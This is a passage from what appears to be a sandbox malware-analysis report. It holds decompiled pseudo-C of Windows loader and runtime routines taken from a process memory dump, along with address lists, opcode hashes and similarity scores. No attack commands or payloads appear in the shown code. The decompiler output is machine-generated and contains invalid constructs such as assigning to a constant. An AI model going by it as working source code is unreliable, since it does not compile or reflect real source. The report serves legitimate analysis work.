											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												L00DE57C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E00DEF3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L00DC77F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E00DDA44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L00DC77F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = L00DE96C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x00db849b
0x00db849b
0x00db849b
0x00db849b
0x00db849d
0x00db84a2
0x00db84a7
0x00db84b1
0x00db84d8
0x00000000
0x00db84b3
0x00db84c4
0x00db84c9
0x00db84cd
0x00db84cf
0x00db84cf
0x00db84d6
0x00db84e6
0x00db84e9
0x00db84ec
0x00db84ef
0x00db84f2
0x00db84f4
0x00db84fc
0x00db8501
0x00db8506
0x00db8509
0x00db86e0
0x00db86e5
0x00db86e8
0x00db86ed
0x00db86f0
0x00db86f2
0x00e09afd
0x00e09b02
0x00db84da
0x00db84df
0x00db84df
0x00db86fa
0x00db86fd
0x00db86fe
0x00db8701
0x00db8706
0x00db8709
0x00db870b
0x00000000
0x00000000
0x00db8711
0x00db8725
0x00db8727
0x00db872a
0x00db872c
0x00e09af0
0x00e09af5
0x00db8732
0x00db8732
0x00db8732
0x00db8735
0x00db8737
0x00db8515
0x00db8515
0x00db8518
0x00db851d
0x00db8523
0x00db8527
0x00db852b
0x00db8537
0x00db8539
0x00db853c
0x00db853e
0x00db868c
0x00db8691
0x00db8699
0x00db869b
0x00db8744
0x00db8748
0x00db86a1
0x00db86a1
0x00db86a1
0x00db86a4
0x00db86a8
0x00e09bdf
0x00e09bdf
0x00db86ae
0x00db86b0
0x00000000
0x00db86b6
0x00000000
0x00e09be9
0x00db86b0
0x00db8544
0x00db854a
0x00db854d
0x00db8551
0x00db876e
0x00db8778
0x00db877b
0x00db8780
0x00db8557
0x00db8557
0x00db855d
0x00db855d
0x00db856b
0x00db856e
0x00db8570
0x00db8573
0x00db8576
0x00db8576
0x00db8579
0x00db857b
0x00000000
0x00000000
0x00db8581
0x00db85a0
0x00db85a2
0x00db85a5
0x00db85a7
0x00e09b1b
0x00e09b1b
0x00db862e
0x00db862e
0x00db8631
0x00db8631
0x00db8634
0x00db8636
0x00db8669
0x00db8669
0x00db866b
0x00e09bbf
0x00e09bc4
0x00e09bc8
0x00e09bce
0x00e09bce
0x00db8671
0x00db8671
0x00db8674
0x00db8676
0x00e09bae
0x00e09bae
0x00db8676
0x00db867c
0x00db867e
0x00db8688
0x00db8688
0x00000000
0x00db867e
0x00db8638
0x00db8638
0x00db863b
0x00db863e
0x00db863f
0x00db8642
0x00db8645
0x00db8648
0x00db864d
0x00e09b69
0x00e09b6e
0x00e09b7b
0x00e09b81
0x00e09b85
0x00e09b89
0x00e09ba7
0x00e09b8b
0x00e09b91
0x00e09b9a
0x00e09b9f
0x00e09b9f
0x00db8788
0x00db878d
0x00db8763
0x00db8763
0x00db8766
0x00000000
0x00db8766
0x00e09b70
0x00000000
0x00e09b70
0x00db8656
0x00db865a
0x00db865c
0x00db8752
0x00db8756
0x00000000
0x00000000
0x00db875e
0x00000000
0x00db875e
0x00db8662
0x00db8662
0x00db8662
0x00db8666
0x00000000
0x00db8666
0x00db85b7
0x00db85b9
0x00db85bc
0x00db85bf
0x00db85cc
0x00db85d1
0x00db85d4
0x00db85db
0x00db85de
0x00db85e0
0x00e09b5f
0x00000000
0x00e09b5f
0x00db85e6
0x00db85ea
0x00db86c3
0x00db86c5
0x00db86c8
0x00db86ca
0x00e09b16
0x00000000
0x00e09b16
0x00db86d6
0x00db85f6
0x00db85f6
0x00db85f9
0x00db8602
0x00db8606
0x00db860a
0x00db860b
0x00db860e
0x00db8611
0x00000000
0x00db8611
0x00db85f3
0x00000000
0x00db85f3
0x00db8619
0x00db861e
0x00db861e
0x00db8621
0x00db8622
0x00db8623
0x00db8625
0x00db862c
0x00000000
0x00db873d
0x00000000
0x00db873d
0x00db8737
0x00db850f
0x00db8512
0x00000000
0x00db8512
0x00000000
0x00db84d6

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26398174c510e6dd4bef3fcdf58d8e2fc110ad55d04f65bc21294592b88f7c8e
Instruction ID: d28874a5f3d99129ba53cb5b56cd1fe7f5469d97c980a24524e29ecbd1eb5148
Opcode Fuzzy Hash: 26398174c510e6dd4bef3fcdf58d8e2fc110ad55d04f65bc21294592b88f7c8e
Instruction Fuzzy Hash: B7B14F74E04209DFCB14DF99C984AEDBBBAFF44304F24412AE406AB296DB70AD45DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00DD513A Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00DD513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0xe9d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E00DED0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E00DC2280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L00DC4620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E00DEF3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								L00DBFFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0xe9b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return L00DEB640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x00dd5142
0x00dd514c
0x00dd5150
0x00dd5157
0x00dd5159
0x00dd515e
0x00dd5165
0x00dd5169
0x00dd516c
0x00dd5172
0x00dd5176
0x00dd517a
0x00dd517a
0x00dd517a
0x00dd517f
0x00e16d8b
0x00e16d8e
0x00e16d91
0x00e16d95
0x00e16d98
0x00e16d9c
0x00e16da0
0x00e16da3
0x00e16da7
0x00e16e26
0x00e16e26
0x00e16e2a
0x00dd51f9
0x00dd51f9
0x00dd51fe
0x00e16e33
0x00e16e33
0x00e16e39
0x00e16e3d
0x00e16e46
0x00e16e50
0x00000000
0x00000000
0x00e16e52
0x00e16e53
0x00e16e56
0x00e16e5d
0x00000000
0x00000000
0x00000000
0x00e16e5f
0x00e16e67
0x00e16e77
0x00e16e7f
0x00e16e80
0x00e16e88
0x00e16e90
0x00e16e9f
0x00e16ea5
0x00e16ea9
0x00e16eb1
0x00e16ebf
0x00000000
0x00000000
0x00e16ecf
0x00e16ed3
0x00000000
0x00000000
0x00e16edb
0x00e16ede
0x00e16ee1
0x00e16ee8
0x00e16eeb
0x00e16eed
0x00e16ef0
0x00e16ef4
0x00e16ef8
0x00e16efc
0x00000000
0x00000000
0x00e16f0d
0x00e16f11
0x00e16f32
0x00e16f37
0x00e16f3b
0x00e16f3e
0x00e16f41
0x00e16f46
0x00000000
0x00000000
0x00e16f4c
0x00e16f50
0x00e16f50
0x00e16f54
0x00e16f62
0x00e16f65
0x00e16f6d
0x00e16f7b
0x00e16f7b
0x00e16f93
0x00e16f98
0x00e16fa0
0x00e16fa6
0x00e16fb3
0x00e16fb6
0x00e16fbf
0x00e16fc1
0x00e16fd5
0x00e16fda
0x00e16fda
0x00e16fdd
0x00e16fe2
0x00e16fe7
0x00e16feb
0x00e16fef
0x00e16ff3
0x00dd520c
0x00dd520c
0x00dd520f
0x00dd5215
0x00dd5234
0x00dd523a
0x00dd523a
0x00dd5244
0x00dd5245
0x00dd5246
0x00dd5251
0x00dd5251
0x00e16f13
0x00e16f17
0x00e16f17
0x00e16f18
0x00e16f1b
0x00e16f1f
0x00e16f23
0x00000000
0x00e16f28
0x00dd5204
0x00dd5204
0x00dd5208
0x00000000
0x00dd5208
0x00dd5185
0x00dd5188
0x00dd518a
0x00dd518e
0x00dd5195
0x00e16db1
0x00e16db5
0x00e16db9
0x00dd519b
0x00dd519b
0x00dd519e
0x00dd51a7
0x00dd51a9
0x00dd51a9
0x00dd51b5
0x00dd51b8
0x00dd51bb
0x00dd51be
0x00dd51c1
0x00dd51c5
0x00dd51c9
0x00dd51cd
0x00dd51cd
0x00dd51d8
0x00dd51dc
0x00dd51e0
0x00e16dcc
0x00e16dd0
0x00e16dd5
0x00e16ddd
0x00e16de1
0x00e16de1
0x00e16de5
0x00e16deb
0x00e16df1
0x00e16df7
0x00e16dfd
0x00e16e01
0x00e16e05
0x00e16e09
0x00e16e0d
0x00e16e11
0x00e16e11
0x00dd51eb
0x00e16e1a
0x00e16e1f
0x00e16e21
0x00e16e23
0x00000000
0x00dd51f1
0x00dd51f1
0x00000000
0x00dd51f1

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe9d8a0cd4a4194dc01fb8ef7ff58fc1fca510c83701b5cd1f8e9d0b54289cb
Instruction ID: ba3ff37eaa7ebd25ac5b6978761d7fb363bc1f8367c8fd64c9db93ec858d0121
Opcode Fuzzy Hash: abe9d8a0cd4a4194dc01fb8ef7ff58fc1fca510c83701b5cd1f8e9d0b54289cb
Instruction Fuzzy Hash: D8C102756093818FD354CF28C580A5AFBF1BF88308F184A6EF8999B352D771E985CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00DD03E2 Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00DD03E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0xe9d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(L00DD0548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return L00DEB640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E00DBB02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0xe97c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(L00DC7D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = L00DC7D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E00E27016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E00DE9830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E00E269A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0xe97c04 != 0) {
						_t118 = _v12;
						_t120 = L00E2A7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0xe97bd8;
						if( *0xe97bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E00DE95D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E00DE99A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = L00E23540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E00DAB1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E00DEAAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0xe98474 - 3;
										if( *0xe98474 != 3) {
											 *0xe979dc =  *0xe979dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(L00DC7D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = L00DC7D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E00E27016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0xe98708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0xe97b00; // 0x0
							asm("ror esi, cl");
							 *0xe9b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E00DE95D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = L00DB7F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x00dd03f1
0x00dd03f7
0x00dd03f9
0x00dd03fb
0x00dd03fd
0x00dd0400
0x00dd040a
0x00e14c7a
0x00dd0537
0x00dd0547
0x00dd0410
0x00dd0410
0x00dd0414
0x00dd0417
0x00dd041a
0x00dd0421
0x00dd0424
0x00dd042b
0x00dd043b
0x00dd043e
0x00dd043f
0x00dd043f
0x00dd0446
0x00dd0449
0x00dd044c
0x00dd044f
0x00dd0459
0x00e14c8d
0x00dd045f
0x00dd045f
0x00dd045f
0x00dd0467
0x00e14c97
0x00e14c9d
0x00e14ca4
0x00e14caa
0x00e14caf
0x00e14cb1
0x00e14cc3
0x00e14cb3
0x00e14cbc
0x00e14cbc
0x00e14cc8
0x00e14ccb
0x00e14cd7
0x00e14cda
0x00e14cdf
0x00e14cdf
0x00e14ccb
0x00e14ca4
0x00dd046d
0x00dd046f
0x00dd046f
0x00dd0471
0x00dd0476
0x00dd047a
0x00dd047b
0x00dd0483
0x00dd0489
0x00dd048d
0x00000000
0x00000000
0x00e14ce9
0x00e14cef
0x00e14d22
0x00e14d22
0x00000000
0x00e14d22
0x00e14cf1
0x00e14cf7
0x00000000
0x00000000
0x00e14cf9
0x00e14cff
0x00000000
0x00000000
0x00e14d05
0x00e14d07
0x00000000
0x00000000
0x00e14d0d
0x00e14d0f
0x00e14d14
0x00e14d16
0x00000000
0x00000000
0x00e14d1c
0x00e14d1c
0x00dd0499
0x00dd0535
0x00dd0535
0x00000000
0x00dd0535
0x00dd04a6
0x00e14d2c
0x00e14d37
0x00e14d39
0x00e14d3b
0x00000000
0x00000000
0x00e14d41
0x00e14d48
0x00dd0527
0x00dd052b
0x00dd052d
0x00dd0530
0x00dd0530
0x00000000
0x00dd052b
0x00e14d4e
0x00dd04ac
0x00dd04ac
0x00dd04af
0x00dd04b2
0x00dd04b7
0x00dd04b9
0x00dd04bb
0x00dd04bd
0x00dd04bf
0x00dd04c5
0x00dd04c9
0x00e14d53
0x00e14d59
0x00e14db9
0x00e14dba
0x00e14dbf
0x00e14dc2
0x00e14dc4
0x00e14dc7
0x00e14dce
0x00000000
0x00e14dce
0x00e14d5b
0x00e14d61
0x00000000
0x00000000
0x00e14d63
0x00e14d69
0x00000000
0x00000000
0x00e14d6b
0x00e14d6e
0x00e14d74
0x00e14d76
0x00e14d7c
0x00e14d7e
0x00e14d84
0x00e14d89
0x00e14d8c
0x00e14d8d
0x00e14d92
0x00e14d95
0x00e14d96
0x00e14d98
0x00e14d9a
0x00e14d9f
0x00e14da4
0x00e14da6
0x00e14da8
0x00e14daf
0x00e14db1
0x00e14db1
0x00e14daf
0x00e14da6
0x00e14d84
0x00e14d7c
0x00000000
0x00e14d74
0x00dd04d6
0x00e14de1
0x00dd04dc
0x00dd04dc
0x00dd04dc
0x00dd04e4
0x00e14deb
0x00e14df1
0x00e14df8
0x00e14dfe
0x00e14e03
0x00e14e05
0x00e14e17
0x00e14e07
0x00e14e10
0x00e14e10
0x00e14e1c
0x00e14e1f
0x00e14e35
0x00e14e35
0x00e14e1f
0x00e14df8
0x00dd04f1
0x00dd04fa
0x00e14e3f
0x00e14e47
0x00e14e5b
0x00e14e61
0x00e14e67
0x00e14e69
0x00e14e71
0x00e14e73
0x00dd0500
0x00dd0500
0x00dd0500
0x00dd04fa
0x00dd0508
0x00dd051d
0x00dd051d
0x00dd051f
0x00dd0524
0x00000000
0x00dd0524
0x00dd0515
0x00dd0517
0x00e14e7a
0x00e14e7c
0x00000000
0x00000000
0x00e14e85
0x00000000
0x00e14e85
0x00000000
0x00dd0517

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561487a7f875eae2340ad9c4eb867985e895cd0a8ce4b652880d3b940d3f4b25
Instruction ID: 8e1f6addbef6e754a9a965311eddfbfbccfb264027b04ad5b9a9d842406a7290
Opcode Fuzzy Hash: 561487a7f875eae2340ad9c4eb867985e895cd0a8ce4b652880d3b940d3f4b25
Instruction Fuzzy Hash: EC9136B1E002149FEF219B68D844FEDBBA4EB41724F150266F951BB3D1D7749D40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DDEBB0 Relevance: .2, Instructions: 250
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00DDEBB0(signed int* _a4, intOrPtr _a8, intOrPtr* _a12, signed short* _a16, unsigned int _a20) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				unsigned int _v20;
				intOrPtr _t42;
				unsigned int _t43;
				unsigned int _t50;
				signed char _t56;
				signed char _t60;
				signed int _t63;
				signed int _t73;
				signed int _t77;
				signed int _t80;
				unsigned int _t82;
				signed int _t87;
				signed int _t91;
				signed short _t96;
				signed short* _t98;
				signed char _t100;
				signed int* _t102;
				signed short* _t105;
				intOrPtr _t106;
				signed int _t108;
				signed int* _t110;
				void* _t113;
				signed int _t115;
				signed short* _t117;
				signed int _t118;

				_t98 = _a16;
				_t87 = 0;
				_v16 = 0;
				if(_t98 == 0) {
					return 0xc00000f2;
				}
				_t110 = _a4;
